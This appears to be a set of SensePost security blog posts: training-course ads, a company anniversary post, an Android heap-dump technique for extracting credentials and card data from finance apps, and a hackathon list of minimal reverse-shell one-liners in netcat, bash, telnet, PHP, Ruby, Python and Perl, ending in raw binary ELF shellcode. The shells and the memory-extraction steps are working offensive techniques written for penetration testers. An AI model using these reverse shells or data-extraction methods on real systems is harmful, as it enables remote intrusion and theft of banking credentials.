Monday morning, raring for a week of pwnage and you see you've just been handed a new assessment, awesome. The problem? It's a mobile assessment and you've never done one before. What do you do, approach your team leader and ask for another assessment? He's going to tell you to learn how to do a mobile assessment and do it quickly, there are plenty more to come.

Now you set out on your journey into mobile assessments and you get lucky, the application that needs to be assessed is an Android app. A few Google searches later and you are feeling pretty confident about this, Android assessments are meant to be easy, there are even a few tools out there that "do it all". You download the latest and greatest version, run it and the app gets a clean bill of health. After all, the tool says so, there is no attack surface; no exposed intents and the permissions all check out. You compile your report, hand it off to the client and a week later the client gets owned through the application... Apparently the backend servers were accepting application input without performing any authentication checks. Furthermore, all user input was trusted and no server side validation was being performed. What went wrong? How did you miss these basic mistakes? After-all, you followed all the steps, you ran the best tools and you ticked all the boxes. Unfortunately this approach is wrong, mobile assessments are not always simply about running a tool, a lot of the time they require the same steps used to test web applications, just applied in a different manner. This is where SensePost's Hacking by numbers: Mobile comes to the fore, the course aims to introduce you to mobile training from the ground up.

The course offers hands-on training, introducing techniques for assessing applications on Android, IOS, RIM and Windows 8. Some of the areas covered include:

Unlike other mobile training or tutorials that focus on a specific platform or a specific tool on that platform, Hacking by Numbers aims to give you the knowledge to perform assessments on any platform with a well established methodology. Building on everything taught in the Hacking by Numbers series, the mobile course aims to move assessments into mobile sphere, continuing the strong tradition of pwnage. The labs are a direct result of the assessments we've done for clients. Our trainers do this on a weekly basis, so you get the knowledge learned from assessing numerous apps over the last few years.

On your next mobile assessment you'll be able to do both static and dynamic analysis of mobile applications. You will know where to find those credit card numbers stored on the phone and how to intercept traffic between the application and the backend servers.

The course: Hacking by numbers: Mobile

SensePost will be at Black Hat Europe 2013 to deliver the Bootcamp module of the Hacking by Numbers series. This method based introductory course emphasizes the structure, approach, and thought-processes involved in hacking (over tools and tricks). The course is popular with beginners, who gain their first view into the world of hacking, as well as experts, who appreciate the sound, structured approach.

A break down of what will be covered during this course:

• Internet Reconnaissance


• Internet Fingerprinting


• Vulnerability Discovery


• Exploiting Known Vulnerabilities


• Finding and Exploiting Vulnerabilities in Web Applications


• Attacking Content Management Systems


• SQL Injection


• Real-world exercises and capture-the-flags

To summarize:

What? SensePost Hacking by Numbers, Bootcamp edition
Where? Amsterdam, BlackHat EU
When? 12th & 13th March 2013
Level? Introductory

See the BlackHat course page for more information, or to book your seat.

We're looking forward to seeing you there!
Glenn & Sara

Today was our 13th birthday. In Internet years, that's a long time. Depending on your outlook, we're either almost a pensioner or just started our troublesome teens. We'd like to think it's somewhere in the middle. The Internet has changed lots from when SensePost was first started on the 14th February 2000. Our first year saw the infamous ILOVEYOU worm wreak havoc across the net, and we learned some, lessons on vulnerability disclosure, a year later we moved on to papers about "SQL insertion" and advanced trojans. And the research continues today.

We've published a few tools along the way, presented some (we think) cool ideas and were lucky enough to have spent the past decade training thousands of people in the art of hacking. Most importantly, we made some great friends in this community of ours. It has been a cool adventure, and indeed still very much is, for everyone who's has the pleasure of calling themselves a Plak'er. Ex-plakkers have gone on to do more great things and branch out into new spaces. Current Plakkers are still doing cool things too!

But reminiscing isn't complete without some pictures to remind you just how much hair some people had, and just how little some people's work habit's have changed. Not to mention the now questionable fashion.

Fast forward thirteen years, the offices are fancier and the plakkers have become easier on the eye, but the hacking is still as sweet.

As we move into our teenage years (or statesman ship depending on your view), we aren't standing still or slowing down. The team has grown; we now have ten different nationalities in the team, are capable of having a conversation in over 15 languages, and have developed incredible foos ball skills.

This week, we marked another special occasion for us at SensePost: the opening of our first London office in the trendy Hackney area (it has "hack" in it, and is down the road from Google, fancy eh?). We've been operating in the UK for some time, but decided to put down some roots with our growing clan this side of the pond.

And we still love our clients, they made us who we are, and still do. Last month alone, the team was in eight different countries doing what they do best.

But with all the change we are still the same SensePost at heart. Thank you for reminiscing with us on our birthday. Here's to another thirteen years of hacking stuff, having fun and making friends.

Taking inspiration from Vlad's post I've been playing around with alternate means of viewing traffic/data generated by Android apps.

The technique that has given me most joy is memory analysis. Each application on android is run in the Dalvik VM and is allocated it's own heap space. Android being android, free and open, numerous ways of dumping the contents of the application heap exist. There's even a method for it in the android.os.Debug library: android.os.Debug.dumpHprofData(String filename). You can also cause a heap dump by issuing the kill command:

kill -10 <pid number>

But there is an easier way, use the official Android debugging tools... Dalvik Debug Monitor Server (DDMS), -- "provides port-forwarding services, screen capture on the device, thread and heap information on the device, logcat, process, and radio state information, incoming call and SMS spoofing, location data spoofing, and more." Once DDMS is set up in Eclipse, it's simply a matter of connecting to your emulator, picking the application you want to investigate and then to dump the heap (hprof).

1.) Open DDMS in Eclipse and attach your device/emulator

* Set your DDMS "HPROF action" option to "Open in Eclipse" - this ensures that the dump file gets converted to standard java hprof format and not the Android version of hprof. This allows you to open the hpof file in any java memory viewer.

* To convert a android hprof file to java hprof use the hprof converter found in the android-sdk/platform-tools directory: hprof-conv <infile> <outfile>

2.) Dump hprof data

Once DDMS has done it's magic you'll have a window pop up with the memory contents for your viewing pleasure. You'll immediately see that the applications UI objects and other base classes are in the first part of the file. Scrolling through you will start seeing the values of variables stored in memory. To get to the interesting stuff we can use the command-line.

3.) strings and grep the .hprof file (easy stuff)

To demonstrate the usefulness of memory analysis lets look at two finance orientated apps.

The first application is a mobile wallet application that allows customers to easily pay for services without having to carry cash around. Typically one would do some static analysis of the application and then when it comes to dynamic analysis you would use a proxy such as Mallory or Burp to view the network traffic. In this case it wasn't possible to do this as the application employed certificate pinning and any attempt to man in the middle the connection caused the application to exit with a "no network connection" error.

So what does memory analysis have to do with network traffic? As it turns out, a lot. Below is a sample of the data extracted from memory:

And there we have it, the user login captured along with the username and password in the clear. Through some creative strings and grep we can extract a lot of very detailed information. This includes credit card information, user tokens and products being purchased. Despite not being able to alter data in the network stream, it is still easy to view what data is being sent, all this without worrying about intercepting traffic or decrypting the HTTPS stream.

A second example application examined was a banking app. After spending some time using the app and then doing a dump of the hprof, we used strings and grep (and some known data) we could easily see what is being stored in memory.

strings /tmp/android43208542802109.hprof | grep '92xxxxxx'

Using part of the card number associated with the banking app, we can locate any references to it in memory. And we get a lot of information..

And there we go, a fully "decrypted" JSON response containing lots of interesting information. Grep'ing around yields other interesting values, though I haven't managed to find the login PIN yet (a good thing I guess).

Next step? Find a way to cause a memory dump in the banking app using another app on the phone, extract the necessary values and steal the banking session, profit.

Memory analysis provides an interesting alternate means of finding data within applications, as well as allowing analysts to decipher how the application operates. The benefits are numerous as the application "does all the work" and there is no need to intercept traffic or figure out the decryption routines used.

Appendix:

The remoteAddress field in the response is very interesting as it maps back to a range owned by Merck (one of the largest pharmaceutical companies in the world http://en.wikipedia.org/wiki/Merck_%26_Co.) .. No idea what it's doing in this particular app, but it appears in every session I've looked at.

For our internal hackathon, we wanted to produce some shirts. We ran a competition to see who could produce a reverse shell invocation most worthy of inclusion on a shirt. Here are the submissions, which may be instructive or useful. But first; the winning t-shirt design goes to Vlad (-islav, baby don't hurt me, don't hurt me, no more):

Funny story; the printer left out the decimal points between the IP, so we had to use a permanent marker to put them back. Oh, also, many of these were originally taken from somewhere else then modified, we don't claim the full idea as our own. Anyway, onto the shells!

Netcat — 18 chars

nc -e sh 1.0.0.1 1

Requires nc with -e support (unlikely to be on remote box by default).

Bash — 27 chars

sh>&/dev/tcp/1.0.0.1/8 0>&1

Requires bash with /dev/tcp support, not always there (e.g. RHEL). Vlad's winning contribution.

Telnet — 37 chars

mkfifo x&&telnet 1.0.0.1 8 0<x|sh 1>x

Will work on most systems, can replace telnet with nc to get 33 chars.

PHP — 56 chars

<?php $s=fsockopen("1.0.0.1",8);exec("sh<&3>&3 2>&3");?>

Requires PHP CLI. This one from Rogan.

Ruby — 73 chars

f=TCPSocket.open("1.0.0.1",8).to_i
exec sprintf("sh<&%d>&%d 2>&%d",f,f,f)

Need to invoke this with

ruby -rsocket small-rev.rb

which is a bit of a cheat for size. This was also taken from pentestmonkey

Python — 155 chars

import socket as x,os

s=x.socket(2,1)

s.connect(("1.0.0.1",8))

d=os.dup2

f=s.fileno()

d(f,0)

d(f,1)

os.system("sh")

This assumes you use unix line breaks. My personal favourite.

Perl - 121 chars

$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"1.0.0.1:8");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;

Invoke with

perl -MIO small-rev.pl

Elf - 133 chars

ELF


???????????
???T€4???????????4? ?
???????
????????€?€� ??? �?????????1ÛSCSjjfX‰áÍ€—[h??
fh �fS‰ájfXPQW‰áCÍ€[™ �
[more]